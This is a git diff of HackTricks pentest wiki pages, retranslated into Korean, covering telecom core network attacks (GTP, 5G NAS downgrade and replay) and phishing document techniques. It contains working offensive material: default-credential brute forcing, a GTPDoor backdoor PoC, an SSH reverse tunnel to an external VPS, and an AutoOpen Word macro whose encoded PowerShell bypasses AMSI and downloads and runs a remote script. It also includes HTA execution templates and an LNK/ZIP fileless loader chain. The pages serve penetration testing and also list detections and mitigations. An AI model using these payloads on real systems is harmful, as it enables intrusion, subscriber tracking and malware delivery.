Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-09-07 22:14:53 +00:00
parent d008ddfd40
commit 8901ec698e
3 changed files with 176 additions and 166 deletions

View File

@ -1,27 +1,27 @@
# 텔레콤 네트워크 악용 (GTP / 로밍 환경)
# 텔레콤 네트워크 악용 (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Mobile-core protocols (GPRS Tunnelling Protocol GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, **통신사 경계 내의 어떤 foothold든 일반적으로 코어 signalling plane에 직접 도달할 수 있다**. 다음 메모들은 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 실제로 관찰된 공격 기법들을 정리한 것이다.
> Mobile-core protocols (GPRS Tunnelling Protocol GTP) 종종 반신뢰된 GRX/IPX roaming 백본을 통과합니다. 평문 UDP로 전송되고 거의 인증이 없기 때문에, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. 다음 노트는 SGSN/GGSN, PGW/SGW 및 기타 EPC 노드에 대해 현장에서 관찰된 offensive tricks를 모아둔 것입니다.
## 1. 정찰 및 초기 접근
## 1. Recon & Initial Access
### 1.1 기본 OSS / NE 계정
상당수의 벤더 네트워크 장비는 `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … 와 같은 하드코드된 SSH/Telnet 사용자로 출하시된다. 전용 워드리스트는 브루트포스 성공률을 크게 높인다:
### 1.1 Default OSS / NE Accounts
놀랍게도 많은 벤더 네트워크 엘리먼트가 `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … 같은 하드코드된 SSH/Telnet 사용자 계정과 함께 출하됩니다. 전용 wordlist는 brute-force 성공률을 극적으로 높입니다:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
장치가 관리 VRF만 노출하는 경우, 먼저 jump host를 통해 pivot 하세요 (아래 «SGSN Emu Tunnel» 섹션 참조).
장치가 management VRF만 노출하고 있다면, 먼저 jump host를 통해 pivot하세요(아래 «SGSN Emu Tunnel» 섹션 참조).
### 1.2 GRX/IPX 내부의 호스트 검색
대부분의 GRX 운영자는 여전히 백본 전반에 걸쳐 **ICMP echo**를 허용합니다. `masscan`의 내장 `gtpv1` UDP 프로브를 사용하면 GTP-C 리스너를 빠르게 매핑할 수 있습니다:
### 1.2 Host Discovery inside GRX/IPX
대부분의 GRX 사업자는 백본 전반에 걸쳐 **ICMP echo**를 여전히 허용합니다. `masscan`의 내장 `gtpv1` UDP 프로브를 결합하여 GTP-C 리스너를 빠르게 매핑하세요:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Enumerating Subscribers `cordscan`
## 2. 가입자 열거 `cordscan`
다음 Go 도구는 **GTP-C Create PDP Context Request** 패킷을 생성하고 응답을 기록합니다. 각 응답은 쿼리된 IMSI에 서비스를 제공하는 현재 **SGSN / MME** 및 때때로 가입자의 방문 PLMN을 드러냅니다.
다음 Go 도구는 **GTP-C Create PDP Context Request** 패킷을 생성하고 응답을 기록합니다. 각 응답은 조회된 IMSI에 서비스를 제공하는 현재 **SGSN / MME**와 때로는 가입자가 방문한 PLMN을 알려줍니다.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -32,9 +32,9 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
주요 플래그:
- `--imsi` 대상 가입자 IMSI
- `--oper` Home / HNI (MCC+MNC)
- `-w` 원시 패킷을 pcap에 기록
- `-w` raw 패킷을 pcap으로 기록
바이너리 내부의 중요한 상수는 스캔 범위를 넓히기 위해 패치할 수 있다:
바이너리 내부의 중요한 상수는 스캔 범위를 넓히기 위해 패치할 수 있습니다:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
@ -42,9 +42,9 @@ common_tcp_ports = "22,23,80,443,8080"
```
## 3. Code Execution over GTP `GTPDoor`
`GTPDoor`UDP 2123에 바인드되어 수신되는 모든 GTP-C 패킷을 파싱하는 작은 ELF 서비스입니다. payload가 pre-shared tag로 시작하면 나머지 데이터는 AES-128-CBC로 복호화되어 `/bin/sh -c`로 실행됩니다. stdout/stderr는 **Echo Response** 메시지 안에 exfiltrated되어 외부 세션이 생성되지 않습니다.
`GTPDoor`작은 ELF 서비스로, **UDP 2123에 바인드하고 들어오는 모든 GTP-C 패킷을 파싱합니다**. 페이로드가 pre-shared tag로 시작하면, 나머지는 AES-128-CBC로 복호화되어 `/bin/sh -c`를 통해 실행됩니다. stdout/stderr는 **Echo Response** 메시지 내부로 exfiltrated되어 외부 세션이 전혀 생성되지 않습니다.
Minimal PoC packet (Python):
최소 PoC 패킷 (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
@ -53,23 +53,23 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
탐지:
* 어떤 호스트가 SGSN IP들로 **unbalanced Echo Requests**를 전송하는 경우
* GTP version flag가 1로 설정되어 있고 message type = 1 (Echo)인 경우 명세와의 불일치
* SGSN IPs로 **unbalanced Echo Requests**를 보내는 모든 호스트
* GTP version flag가 1로 설정되어 있고 message type = 1 (Echo)일 때 — 규격과의 편차
## 4. 코어를 통한 Pivoting
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN`은 실제 GGSN/PGW를 향해 **establish a PDP context towards a real GGSN/PGW** 할 수 있는 SGSN 에뮬레이터를 포함합니다. 협상 후, Linux는 로밍 피어에서 접근 가능한 새로운 `tun0` 인터페이스를 받습니다.
`OsmoGGSN`**실제 GGSN/PGW를 향해 PDP context를 설정할 수 있는** SGSN 에뮬레이터를 제공합니다. 협상되면, Linux는 로밍 피어에서 접근 가능한 새로운 `tun0` 인터페이스를 받습니다.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
적절한 firewall hair-pinning을 통해, 이 터널은 signalling-only VLANs를 우회하여 당신을 직접 **data plane**에 진입시킵니다.
적절한 firewall hair-pinning으로 이 터널은 signalling-only VLANs를 우회하여 직접 **data plane**에 접근합니다.
### 4.2 SSH Reverse Tunnel 포트 53을 통한
로밍 인프라에서는 DNS가 거의 항상 열려 있습니다. 내부 SSH 서비스를 :53에서 listening하도록 VPS에 노출시키고, 집에서 나중에 접속하십시오:
### 4.2 SSH Reverse Tunnel over Port 53
DNS는 roaming infrastructures에서 거의 항상 열려 있습니다. 내부 SSH 서비스를 VPS에 listening on :53으로 노출시키고 집에서 나중에 접속하세요:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
@ -80,10 +80,10 @@ VPS에서 `GatewayPorts yes`가 활성화되어 있는지 확인하세요.
| 채널 | 전송 | 디코딩 | 비고 |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | 순수한 수동 리스너, 아웃바운드 트래픽 없음 |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | `*.nodep` 서브도메인을 모니터링함 |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | 정상적인 GTP-C 통신과 섞여 위장함 |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | `*.nodep` 서브도메인 감시 |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | 합법적인 GTP-C 트래픽과 섞여 작동 |
모든 implants는 watchdogs를 구현하며, 바이너리를 **timestomp**하고 충돌 시 re-spawn합니다.
모든 implants는 watchdogs를 구현하며, 충돌 시 그들의 binaries를 **timestomp**하고 re-spawn합니다.
## 6. 방어 회피 치트시트
```bash
@ -116,76 +116,76 @@ python3 exploit_userspec.py
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Tool Box
## 8. 도구 모음
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` 이전 섹션에서 설명한 custom tooling.
* `FScan` : 인트라넷 TCP 스윕 (`fscan -p 22,80,443 10.0.0.0/24`)
* `FScan` : intranet TCP 스윕 (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : 경량 SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / 자산 브리징
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
## 9. 5G NAS Registration 공격: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
5G 등록 절차는 NGAP 위에서 NAS(Non-Access Stratum)로 동작한다. Security Mode Command/Complete로 NAS 보안이 활성화되기 전까지 초기 메시지는 인증되지도 암호화되지도 않는다. 이 보안 이전 창은 N2 트래픽을 관찰하거나 변조할 수 있을 때(예: 코어 내부 on-path, rogue gNB, 또는 테스트베드) 여러 공격 경로를 허용한다.
5G 등록 절차는 NGAP 위의 NAS(Non-Access Stratum)에서 실행된다. Security Mode Command/Complete로 NAS 보안이 활성화되기 전까지 초기 메시지는 인증되지도 암호화되지도 않는다. 보안 비활성 창(window)은 N2 트래픽을 관찰하거나 변조할 수 있는 경우(예: 코어 내부 온-패스, rogue gNB, 또는 테스트베드) 여러 공격 경로를 허용한다.
Registration flow (simplified):
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: IP/QoS setup.
Registration 흐름(단순화):
- Registration Request: UE가 SUCI(SUPI 암호화)를 전송하고 capabilities를 보낸다.
- Authentication: AMF/AUSF가 RAND/AUTN을 보내고; UE는 RES*를 반환한다.
- Security Mode Command/Complete: NAS 무결성 및 암호화가 협상되어 활성화된다.
- PDU Session Establishment: IP/QoS 설정.
Lab setup tips (non-RF):
- Core: Open5GS default deployment은 흐름을 재현하기에 충분함.
- UE: simulator 또는 test UE; Wireshark로 디코드.
- Active tooling: 5GReplay (NGAP 내에서 NAS 캡처/수정/재전송), Sni5Gect (전체 rogue gNB를 띄우지 않고도 NAS를 실시간으로 스니핑/패치/인젝션).
- Useful display filters in Wireshark:
Lab 설정 팁 (non-RF):
- Core: Open5GS 기본 배포로 흐름을 재현하기에 충분하다.
- UE: simulator 또는 테스트 UE; Wireshark로 디코드.
- Active tooling: 5GReplay (NAS를 NGAP 내에서 캡처/수정/재전송), Sni5Gect (완전한 rogue gNB를 띄우지 않고 NAS를 실시간으로 스니핑/패치/인젝션).
- Wireshark에서 유용한 display filter:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Expected: UE/USIM은 SUCI(SUPI를 홈 네트워크 공개키로 암호화한 것)를 전송해야 한다. Registration Request에서 평문 SUPI/IMSI를 발견하면 지속적인 가입자 추적을 가능하게 하는 프라이버시 결함을 의미한다.
예상 동작: UE/USIM은 SUCI(홈 네트워크 공개키로 암호화된 SUPI)만 전송해야 한다. Registration Request에서 평문 SUPI/IMSI가 발견되면 지속적인 가입자 추적을 가능하게 하는 개인정보 보호 결함을 의미한다.
How to test:
- InitialUEMessage의 첫 NAS 메시지를 캡처하고 Mobile Identity IE를 검사.
- Wireshark quick checks:
- 디코딩 결과가 SUCI로 나와야 하며 IMSI로 나오면 안 됨.
- 필터 예: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci`존재해야 함; 해당 항목이 없고 `imsi`가 존재하면 노출을 의미.
테스트 방법:
- InitialUEMessage의 첫 NAS 메시지를 캡처하고 Mobile Identity IE를 검사한다.
- Wireshark 빠른 점검:
- SUCI로 디코드되어야 하며, IMSI로 디코드되어서는 안 된다.
- 필터 예: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci`있어야 한다; 없고 대신 `imsi`가 존재하면 노출(leak)이다.
What to collect:
- 노출된 경우 MCC/MNC/MSIN을 수집; UE별로 기록하고 시간/위치에 따라 추적.
수집할 항목:
- 노출된 경우 MCC/MNC/MSIN; UE별로 기록하고 시간/위치 별로 추적한다.
Mitigation:
- SUCI 전용 UE/USIM 강제화; 초기 NAS에서 어떤 IMSI/SUPI라도 감지되면 경보.
완화책:
- SUCI 전용 UE/USIM 강제; 초기 NAS에서 IMSI/SUPI가 감지되면 경보.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background:
- UE는 Registration Request의 UE Security Capability IE에 지원하는 EEA(암호화)와 EIA(무결성)를 광고함.
- 일반적인 매핑: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0은 null 알고리즘임.
배경:
- UE는 Registration Request의 UE Security Capability IE에서 지원하는 EEA(암호화) 및 EIA(무결성)를 광고한다.
- 일반 매핑: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0는 null 알고리즘이다.
Issue:
- Registration Request는 무결성으로 보호되지 않기 때문에 on-path 공격자는 capability 비트를 제거해 이후 Security Mode Command에서 EEA0/EIA0 선택을 강제할 수 있다. 일부 스택은 긴급 서비스 외부에서도 null 알고리즘을 잘못 허용한다.
문제:
- Registration Request는 무결성 보호되지 않기 때문에, 온-패스 공격자가 capability 비트를 지워 이후 Security Mode Command에서 EEA0/EIA0 선택을 강제할 수 있다. 일부 스택은 응급 서비스 외부에서 null 알고리즘을 잘못 허용한다.
Offensive steps:
- InitialUEMessage를 가로채 NAS UE Security Capability를 EEA0/EIA0만 광고하도록 수정.
- Sni5Gect로 NAS 메시지를 후킹하여 전달하기 전에 capability 비트를 패치.
- AMF가 null cipher/integrity를 수락하고 Security Mode를 EEA0/EIA0로 완료하는지 관찰.
공격 단계:
- InitialUEMessage를 가로채 NAS UE Security Capability를 EEA0/EIA0만 광고하도록 수정한다.
- Sni5Gect로 NAS 메시지를 훅(hook)하고 전달 전에 capability 비트를 패치한다.
- AMF가 null 암호/무결성을 수락하여 Security Mode를 EEA0/EIA0로 완료하는지 관찰한다.
Verification/visibility:
- Security Mode Command/Complete 이후 선택된 알고리즘을 Wireshark에서 확인.
- Example passive sniffer output:
검증/가시성:
- Security Mode Command/Complete 이후 선택된 알고리즘을 Wireshark에서 확인한다.
- 예시 수동 스니퍼 출력:
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
완화 조치(필수):
- AMF/policy를 구성하여 EEA0/EIA0를 엄격히 요구되는 경우(예: 긴급 통화)를 제외하고 거부하도록 설정.
- 최소한 EEA2/EIA2 적용을 권장; null 알고리즘을 협상하는 모든 NAS 보안 컨텍스트에 대해 로그 기록 및 경보를 설정.
Mitigations (must):
- AMF/policy를 구성하여 엄격히 요구되는 경우(예: emergency calls)를 제외하고 EEA0/EIA0를 거부하도록 설정한다.
- 최소한 EEA2/EIA2 적용을 권장한다; null 알고리즘을 협상하는 모든 NAS 보안 컨텍스트에 대해 로깅 및 경보를 설정한다.
### 9.3 초기 Registration Request의 Replay (pre-security NAS)
초기 NAS는 무결성(integrity)과 신선도(freshness)가 부족하므로, 캡처된 InitialUEMessage+Registration Request는 AMF로 재생(replay)될 수 있다.
### 9.3 Replay of initial Registration Request (pre-security NAS)
초기 NAS는 무결성과 신선도가 부족하기 때문에 캡처된 InitialUEMessage+Registration Request를 AMF로 재전송(replay)할 수 있다.
매칭되는 replays를 전달하기 위한 5GReplay용 PoC 룰:
PoC rule for 5GReplay to forward matching replays:
```xml
<beginning>
<property value="THEN"
@ -208,32 +208,32 @@ boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
What to observe:
- AMF가 replay를 수락하고 Authentication으로 진행하는지 확인; freshness/컨텍스트 검증 부재는 노출을 의미함.
관찰할 사항:
- AMF가 replay를 수용하고 Authentication으로 진행하는지; freshness/context 검증의 부재는 노출을 의미함.
Mitigations:
- AMF에서 replay 보호/컨텍스트 바인딩을 적용; GNB/UE별로 rate-limit 및 상관관계 분석 수행.
완화 대책:
- AMF에서 replay protection/context binding을 적용; GNB/UE별로 rate-limit 및 상관관계 적용.
### 9.4 Tooling pointers (reproducible)
- Open5GS: AMF/SMF/UPF를 띄워 코어를 에뮬레이트; N2 (NGAP) 및 NAS 관찰.
- Wireshark: NGAP/NAS 디코드 확인; 위 필터를 적용해 Registration을 분리.
- 5GReplay: registration을 캡처한 뒤 규칙에 따라 특정 NGAP + NAS 메시지를 replay.
- Sni5Gect: NAS control-plane을 실시간으로 sniff/modify/inject하여 null 알고리즘을 유도하거나 인증 시퀀스를 교란.
### 9.4 도구 포인터 (재현 가능)
- Open5GS: AMF/SMF/UPF를 띄워 core를 에뮬레이트; N2 (NGAP) 및 NAS 관찰.
- Wireshark: NGAP/NAS 디코드 확인; 위 필터를 적용해 Registration을 분리.
- 5GReplay: registration을 캡처한 뒤 규칙대로 특정 NGAP + NAS 메시지를 replay.
- Sni5Gect: NAS control-plane을 실시간 sniff/modify/inject하여 null algorithms를 강제하거나 authentication 시퀀스를 교란.
### 9.5 Defensive checklist
- Registration Request에서 평문 SUPI/IMSI를 지속적으로 검사; 문제 있는 장치/USIM을 차단.
- EEA0/EIA0는 엄격히 정의된 긴급 절차를 제외하고 거부; 최소 EEA2/EIA2 요구.
- 무단 또는 잘못 구성된 인프라 탐지: 비인가 gNB/AMF, 예기치 않은 N2 피어.
- null 알고리즘을 초래하거나 InitialUEMessage의 빈번한 replay가 발생하는 NAS 보안 모드에 대해 경보.
### 9.5 방어 체크리스트
- Registration Request를 지속적으로 검사하여 평문 SUPI/IMSI 존재 여부 확인; 문제 장치/USIM 차단.
- EEA0/EIA0는 좁게 정의된 비상 절차를 제외하고 거부; 최소 EEA2/EIA2 요구.
- 무단 또는 잘못 구성된 인프라 탐지: unauthorized gNB/AMF, 예기치 않은 N2 피어.
- null algorithms을 유발하거나 InitialUEMessage의 빈번한 replay를 초래하는 NAS security modes에 대해 경보.
---
## Detection Ideas
1. **SGSN/GGSN 이외의 장치가 Create PDP Context Requests를 생성하는 경우**.
2. **내부 IP로부터 SSH handshakes를 수신하는 비표준 포트(53, 80, 443)**.
3. **상응하는 Echo Responses 없이 Echo Requests가 빈번한 경우** GTPDoor 비콘을 나타낼 수 있음.
4. **identifier/sequence 필드가 크고 0이 아닌 ICMP echo-reply 트래픽의 높은 비율**.
5. 5G: **동일한 엔드포인트에서 반복되는 NAS Registration Requests를 포함한 InitialUEMessage** (replay signal).
6. 5G: **긴급 상황 외에서 EEA0/EIA0를 협상하는 NAS Security Mode**.
## 탐지 아이디어
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
3. **Frequent Echo Requests without corresponding Echo Responses** might indicate GTPDoor beacons.
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
## References

View File

@ -1,40 +1,40 @@
# Phishing 파일 및 문서
# Phishing Files & Documents
{{#include ../../banners/hacktricks-training.md}}
## Office 문서
## Office Documents
Microsoft Word는 파일을 열기 전에 파일 데이터 검증을 수행합니다. 데이터 검증은 OfficeOpenXML 표준에 따라 데이터 구조 식별의 형태로 수행됩니다. 데이터 구조 식별 중 오류가 발생하면 분석 중인 파일은 열리지 않습니다.
Microsoft Word는 파일을 열기 전에 파일 데이터 검증을 수행합니다. 데이터 검증은 OfficeOpenXML 표준에 따라 데이터 구조 식별의 형태로 수행됩니다. 데이터 구조 식별 중 오류가 발생하면 분석 중인 파일은 열리지 않습니다.
일반적으로 매크로를 포함한 Word 파일은 `.docm` 확장자를 사용합니다. 그러나 파일 확장자를 변경해 이름을 바꿔도 매크로 실행 기능을 유지할 수 있습니다.\
예를 들어, RTF 파일은 설계상 매크로를 지원하지 않지만, DOCM 파일을 RTF로 이름을 바꾸면 Microsoft Word에서 처리되어 매크로를 실행할 수 있게 됩니다.\
동일한 내부 구조와 메커니즘이 Microsoft Office Suite의 모든 소프트웨어(Excel, PowerPoint 등)에 적용됩니다.
보통 매크로가 포함된 Word 파일은 `.docm` 확장자를 사용합니다. 하지만 파일 확장자를 변경해 이름을 바꾸더라도 매크로 실행 기능을 유지하는 것이 가능합니다.\
예를 들어, RTF 파일은 설계상 매크로를 지원하지 않지만, DOCM 파일을 RTF로 이름을 바꾸면 Microsoft Word에서 해당 파일을 처리하여 매크로를 실행할 수 있게 됩니다.\
동일한 내부 구조와 메커니즘이 Microsoft Office Suite (Excel, PowerPoint etc.)의 모든 소프트웨어에 적용됩니다.
다음 명령을 사용하여 일부 Office 프로그램에서 어떤 확장자가 실행될지 확인할 수 있습니다:
다음 명령어를 사용하여 일부 Office 프로그램에서 실행될 확장자를 확인할 수 있습니다:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX files referencing a remote template (File Options Add-ins Manage: Templates Go) that includes macros can “execute” macros as well.
DOCX 파일이 macros를 포함한 원격 템플릿 (File Options Add-ins Manage: Templates Go)을 참조하면 macros를 “실행”할 수도 있다.
### 외부 이미지 로드
다음으로 이동: _Insert --> Quick Parts --> Field_\
_**카테고리**: Links and References, **필드 이름**: includePicture, 그리고 **파일명 또는 URL**:_ http://<ip>/whatever
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### 매크로 백도어
### Macros 백도어
매크로를 사용해 문서에서 임의 코드를 실행할 수 있다.
문서에서 macros를 사용하여 arbitrary code를 실행할 수 있다.
#### Autoload functions
일반적일수록 AV가 탐지할 가능성이 높다.
흔할수록 AV가 탐지할 가능성이 높다.
- AutoOpen()
- Document_Open()
#### 매크로 코드 예제
#### Macros Code Examples
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -64,26 +64,26 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
```
#### 수동으로 메타데이터 제거
#### 메타데이터 수동 제거
다음으로 이동: **File > Info > Inspect Document > Inspect Document**, 그러면 Document Inspector가 표시됩니다. **Inspect**를 클릭한 다음 **Document Properties and Personal Information** 옆의 **Remove All**을 클릭하세요.
**File > Info > Inspect Document > Inspect Document**로 이동하면 Document Inspector가 나타납니다. **Inspect**를 클릭한 다음 **Document Properties and Personal Information** 옆의 **Remove All**을 클릭하세요.
#### 문서 확장자
#### Doc 확장자
작업이 끝나면 **Save as type** 드롭다운을 선택하고 형식을 **`.docx`**에서 **Word 97-2003 `.doc`**로 변경하세요.\
그 이유는 **`.docx`** 안에는 매크로를 저장할 수 없고, 매크로 사용 **`.docm`** 확장자에는 오명이 있기 때문입니다(예: 썸네일 아이콘에 큰 `!`가 표시되고 일부 웹/이메일 게이트웨이에서 완전히 차단됨). 따라서 이 **레거시 `.doc` 확장자가 최선의 타협안**입니다.
작업이 끝나면 **Save as type** 드롭다운에서 형식을 **`.docx`**에서 **Word 97-2003 `.doc`**로 변경하세요.\
이는 **`.docx`** 내부에 macro's를 저장할 수 없고 macro-enabled **`.docm`** 확장자에 대한 오명(예: 썸네일 아이콘에 큰 `!`가 표시되고 일부 웹/이메일 게이트웨이가 이를 완전히 차단함)이 있기 때문입니다. 따라서 이 **레거시 `.doc` 확장자가 최선의 타협안입니다**.
#### 악성 매크로 생성기
#### Malicious Macros Generators
- MacOS
- [**macphish**](https://github.com/cldrn/macphish)
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## HTA 파일
## HTA Files
HTA는 Windows 프로그램으로, **HTML과 스크립팅 언어(예: VBScript 및 JScript)를 결합**합니다. 사용자 인터페이스를 생성하고 브라우저의 보안 모델 제약 없이 '완전히 신뢰된' 애플리케이션으로 실행됩니다.
HTA는 HTML과 스크립팅 언어(예: VBScript 및 JScript)를 결합한 Windows 프로그램입니다. 사용자 인터페이스를 생성하고 브라우저의 보안 모델 제약 없이 "fully trusted" 애플리케이션으로 실행됩니다.
HTA는 **`mshta.exe`**를 사용해 실행되며, 이는 일반적으로 **설치**될 때 **Internet Explorer**와 함께 설치됩니다. 따라서 **`mshta`는 IE에 의존**합니다. 만약 IE가 제거된 경우 HTA는 실행되지 않습니다.
HTA는 **`mshta.exe`**를 사용해 실행되며, 일반적으로 **Internet Explorer**와 함께 설치되어 **`mshta`가 IE에 의존하게** 됩니다. 따라서 IE가 제거된 경우 HTA는 실행할 수 없습니다.
```html
<--! Basic HTA Execution -->
<html>
@ -138,11 +138,11 @@ var_func
self.close
</script>
```
## NTLM 인증 강제
## Forcing NTLM Authentication
원격으로 NTLM 인증을 **강제**하는 방법은 여러 가지가 있다. 예를 들어 사용자가 접근할 이메일이나 HTML에 **보이지 않는 이미지**를 추가(심지어 HTTP MitM?)하거나, 희생자에게 폴더를 여는 것만으로 **인증**을 **유발**하는 **파일의 주소**를 보낼 수 있다.
여러 가지 방법으로 **NTLM authentication을 "원격으로" 강제**할 수 있습니다. 예를 들어, 사용자가 접근할 이메일이나 HTML에 **보이지 않는 이미지**를 추가하거나(심지어 HTTP MitM?), 피해자에게 폴더를 **열기만 해도** **인증을 유발하는** **파일 주소**를 보낼 수 있습니다.
**다음 페이지에서 이 아이디어들과 더 많은 내용을 확인하세요:**
**다음 페이지에서 이러한 아이디어들과 더 많은 내용을 확인하세요:**
{{#ref}}
@ -156,24 +156,24 @@ self.close
### NTLM Relay
해시나 인증을 훔치는 것뿐만 아니라 **NTLM relay attacks**도 수행할 수 있다는 점을 잊지 마세요:
hash나 인증을 훔치는 것뿐만 아니라 **NTLM relay 공격을 수행**할 수도 있다는 점을 잊지 마세요:
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
매우 효과적인 캠페인은 두 개의 정상적인 미끼 문서(PDF/DOCX)와 악성 .lnk를 포함한 ZIP을 전달한다. 핵심은 실제 PowerShell loader가 ZIP의 raw bytes 내 고유 마커 이후에 저장되어 있고, .lnk가 그것을 추출하여 메모리에서 완전히 실행한다는 점이다.
효과적인 캠페인은 두 개의 정상적인 미끼 문서(PDF/DOCX)와 악성 .lnk를 포함한 ZIP을 배포합니다. 핵심은 실제 PowerShell loader가 고유한 마커 뒤의 ZIP 원시 바이트에 저장되어 있고, .lnk가 이를 carving해서 완전히 메모리에서 실행한다는 점입니다.
.lnk PowerShell one-liner가 구현하는 전형적인 흐름:
Typical flow implemented by the .lnk PowerShell one-liner:
1) Desktop, Downloads, Documents, %TEMP%, %ProgramData% 및 현재 작업 디렉터리의 상위 폴더 등 일반 경로에서 원본 ZIP을 찾는다.
2) ZIP 바이트를 읽어 하드코딩된 마커(예: xFIQCV)를 찾는다. 마커 이후의 모든 것이 임베디드된 PowerShell 페이로드이다.
3) ZIP을 %ProgramData%로 복사하고 거기에서 압축을 풀며, 정상처럼 보이기 위해 미끼 .docx를 연다.
4) 현재 프로세스에 AMSI를 우회: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) 다음 단계의 난독화를 해제(예: 모든 # 문자 제거)하고 메모리에서 실행다.
